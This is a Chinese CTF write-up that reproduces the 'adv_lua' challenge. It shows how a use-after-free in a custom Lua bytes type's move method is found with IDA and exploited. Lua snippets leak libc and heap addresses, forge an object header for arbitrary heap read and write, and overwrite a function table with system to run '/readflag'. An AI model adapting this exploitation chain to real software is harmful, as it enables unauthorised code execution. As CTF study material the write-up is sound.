CTF特训日记day7

2023-12-07 03:44
文章标签 ctf 日记 day7 特训

本文主要是介绍CTF特训日记day7,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

复现华为杯研究生国赛的adv_lua题目
在这里插入图片描述

从题目描述来看,漏洞应该和bytearray相关

用IDA逆向一下然后直接字符串搜索bytearray
在这里插入图片描述
只有这里有bytearray字样,继续查找交叉引用:
在这里插入图片描述
可以看到一系列方法,显然都是为bytearray所注册的吗,刚才我们看到的函数是来自__tostring

在这里插入图片描述
最终追溯到具体的数据类型是bytes,上网搜索了一下,发现原来lua本来并没有这个bytes数据结构,所以也许这是作者自己加进去的一个数据结构,所以需要对数据结构中的几个方法进行漏洞分析。

在move方法中
在这里插入图片描述

程序首先获取两个参数,分别为dst和src,其本意为free掉dst本来指向的内存,然后将src的内存指针给dst处,最后将src指针归零。从而完成move操作,但是当dst和src指向相同的一块内存A时,操作则变成了先是释放A,然后让src不再指向A了,再让dst指向A,从而在dst处形成了一个悬垂指针,即发生了UAF。

接下来做个小测试,写出读写指定地址的函数来,试一试能不能读取到UAF后内存中的敏感信息。

barr = bytes.new(1)function get_int64(obj, off)res = 0for i=0,7,1 dores = res + (obj.get(obj, i+off) << (i*8))endreturn res;
endfunction set_int64(obj, off, val)--print(val)for i=0,7,1 dotmp = (math.floor(val) >> i*8) & 0xffobj.set(obj, i+off, tmp)end
end
print(barr.move(barr,barr))

发现double free了。。。
在这里插入图片描述

好消息是,src和dst指向同一块地址雀食有问题,坏消息是,问题好像有点大。

没关系我们先记下这里的漏洞,然后继续分析数据类型的方法,再来看看new方法
在这里插入图片描述

对于new方法上面有一些解析数字的就略过了,直接看这里,首先会有一个0x10大小的userdatauv头部(从内存中来看实际上是0x30大小),然后前八字节装size,后八字节装分配到的address,这里注意意见事情,它malloc之后是没有memset的,所以意味着我们也许可以进行一些地址上的泄露。

注:后续的所有操作均在ubuntu22的机器上进行,不额外进行其他libc版本的适配工作了。

申请个大堆释放到unsortedbin里,然后申请出来,可以看到由于new的时候非常的干净没有任何附加值,所以libc地址已经进到chunk里了,接下来直接打印出来就行,堆地址同理。
在这里插入图片描述

a = bytes.new(0x430)
b = bytes.new(0x20)
a.move(a,b)
c = bytes.new(0x20)
libcbase=get_int64(c,0)-0x219ce0
c.move(c,a)
c = bytes.new(0x20)
heapbase=(get_int64(c,0)<<12)-0x600
print(string.format("[+] libcbase address is 0x%x", libcbase))
print(string.format("[+] heapbase address is 0x%x", heapbase))

在这里插入图片描述

进行到获取堆地址这里还是非常轻松的,接下来就要考虑如何控制程序执行流,作者在描述中写的非常清楚,不需要进行其他操作,只要能执行/readflag就可以,也就是说能够成功构造system(‘/readflag’)即可,现在system已经有了,还剩下两点需要考虑,一是如何控制执行流,二是如何获取’/readflag’字符串。

对于控制程序执行流,首先需要构造任意地址写原语,到这里就不得不祭出之前在move中找到的漏洞了,现在似乎必须弄清楚为什么会double free了,明明我们逆向出的它是个UAF,通过调试发现,原来是程序结束的时候会将用到的内存都释放掉,但是之前这里是个UAF,并且程序还直接结束了没有进行后续的处理,所以最后显示出来的是个double free,也是有点无语哈哈哈哈。

所以我们还是可以直接将其作为UAF来使用的,另外就是这个set和get都有这么一个函数卡着我们:
在这里插入图片描述
其作用大致就是在读写之前会检查一下那个0x30大小的堆头,里面存放着size和address的那个东西,检查size是不是过大,以及地址是不是合法等等,比如这里有一个条件是v2>>40-85不能大于等于2,这意味着什么呢

>>> hex(87<<40)
'0x570000000000'
>>> 

即我们不能通过UAF申请到libc上的地址了。还有其他一些类似的限制,导致我们能够选择的路并不多,修改存在于堆上的函数指针是一条路。

通过大量打印堆上的数据能够发现,有很多函数的table是直接存放于堆上的。
在这里插入图片描述
看了一圈别的地方的表上都有函数名,只有这个解析不出来
在这里插入图片描述
大概率这里就是作者自己添加的数据结构所注册的函数表了。现在尝试通过UAF申请到函数表上并将其修改。

a=bytes.new(0x20)
a=bytes.new(0x20)
a=bytes.new(0x20)
a.move(a,a)
set_int64(a,0,0x6161616161616161)

从结果可以看到UAF是完全ok的,只要我程序不跑完是不会发生double free的。
在这里插入图片描述

直接申请到0x3870的内存可能需要一定的堆风水,但是这里别忘了我们是UAF,如果我们申请出一个大小和堆头结构一样大的chunk,free掉它获取悬垂指针以后再申请一个正常的chunk,就可以直接控制某个byte的堆头结构,然后修改其0x28偏移处的address,就可以无需任何堆风水直接进行任意堆地址的get和set。

a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)a.move(a,a)
b=bytes.new(0xb8)
set_int64(a,0x28,target)set_int64(b,0,0x6161616161616161)

在这里插入图片描述
成功修改堆头数据的address字段为target
尝试将函数指针修改为system

在这里插入图片描述

可以看到这里已经成功将函数指针修改为system

在这里插入图片描述

经过尝试发现是有一定概率执行到system函数的,最后的一个问题就是如何控制rdi参数。可以看到每次调用函数,rdi都会指向堆上的一个固定偏移的地方,应该是某个固定的结构体,我们可以通过相同的手法,将target改到这个堆上,然后直接修改指定位置为/readflag字符串。

在这里插入图片描述

set_int64(a,0x28,heapbase+0x2a0)
set_int64(b, 0x8, 0x616c66646165722f)
set_int64(b, 0x10, 0x67)

最终成功执行了/readflag函数
在这里插入图片描述

这篇关于CTF特训日记day7的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/464385

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

实习项目|苍穹外卖|day7

缓存菜品 1.根据原型进行需求分析与设计(接口文档) 2.根据接口设计DTO(redis数据类型选取) 3.编码controller-》service-》mapper @GetMapping("/list")@ApiOperation("根据分类id查询菜品")public Result<List<DishVO>> list(Long categoryId) {//判断缓存

研1日记5

x = torch.tensor(x),numpy 转tensor 三维矩阵相加 screen -S pid 进入之前创建好的screen transpose()只能一次操作两个维度;permute()可以一次操作多维数据,且必须传入所有维度数, transpose()中的dim没有数的大小区分;permute()中的dim有数的大小区分 PyTorch 两大转置函数 trans

2014级寒假特训之并查集专题

Problem A: Double和XXZ的生日宴请 Time Limit: 1 Sec   Memory Limit: 128 MB Submit: 9   Solved: 7 [ Submit][ Status][ Web Board] [ Edit] [ TestData] Description Double 和 XXZ同一天生日,他们俩30岁生日那天,当年

【项目日记】高并发内存池---细节优化及性能测试

终此一生,只有两种办法: 要么梦见生活,要么落实生活。 --- 勒内・夏尔 --- 高并发内存池---细节优化及性能测试 1 细节优化1.1 大块内存的申请处理1.2 配合定长池脱离使用new1.3 释放对象无需内存大小 2 调试Debug3 性能测试4 项目总结 1 细节优化 在前面的文章中我们已经实现了高并发内存池的申请内存逻辑和释放内存逻辑:

git svn 日记

1. git log -p -1 --name-only 该命令用于查看最新的一次提交记录的详细信息,包括文件更改情况。 git log:显示 Git 仓库的提交历史。-p:显示每次提交的差异 (diff),也就是文件内容的修改部分。-1:表示只显示最近的一次提交。--name-only:只显示被修改的文件名,而不显示详细的差异内容。 总结:该命令会输出最近一次提交的日志,显示提交的差异内容

uniapp微信小程序开发踩坑日记:Pinia持久化报错Cannot read property ‘localStorage‘ of undefined

插件默认使用 localStorage 实现持久化,小程序端不兼容,需要替换持久化 API import { defineStore } from 'pinia'   export const useCommonStore = defineStore('pack-store', {state: (): State => ({wwInfo: {},globalData: {},timerLoc

今麦郎「日记薪·1号发」 即时反馈,激活10000+名基层员工

本文内容整理自红海云CEO孙伟对今麦郎集团人力资源总经理王高峰、IT管理中心副总经理邹大勇的访谈。 坚持创新求变的品牌基因 过去30年,中国食品工业蓬勃发展,孕育出一批批在国际舞台上熠熠生辉的民族品牌。今麦郎作为民族品牌代表,自1994年创立以来,始终紧跟消费者需求变迁,从满足基础温饱的初心出发,逐步迈向品牌塑造、健康倡导及高端化探索的新征程,从家喻户晓的“今麦

JS学习日记———字符串

浏览器执行JS : 渲染引擎 (html + css) ,JS引擎 JS组成:ECMAScript语法,DOM(页面文档),BOM(浏览器对象) API:BOM + DOM DOM:通过接口对页面上各种元素进行(大小,位置,颜色等)操作 BOM:浏览器对象模型,通过BOM操作浏览器窗口(弹出框,控制转跳,获取分辨率) 字符拼接 字符串+任何类型=生成新字符(会将任何类型先转换为

9月5日复盘日记

9月5日复盘日记 前言今日感恩今日知识今日反思今日名言 前言   昨天空了一天没有进行复盘,但其实昨天效率也挺高,进行了实验的完善、审稿还有每日leetcode的刷题。但为什么昨天不进行记录呢,因为昨天心情比较一般,一整天总感觉有点浮躁,不是很喜欢当下的自己,所以直接刷完题就去外面散了散心,一个人待着真的好舒服(好像也是越来越喜欢一个人了,特别自在,有人打扰的时候会有一些不知所措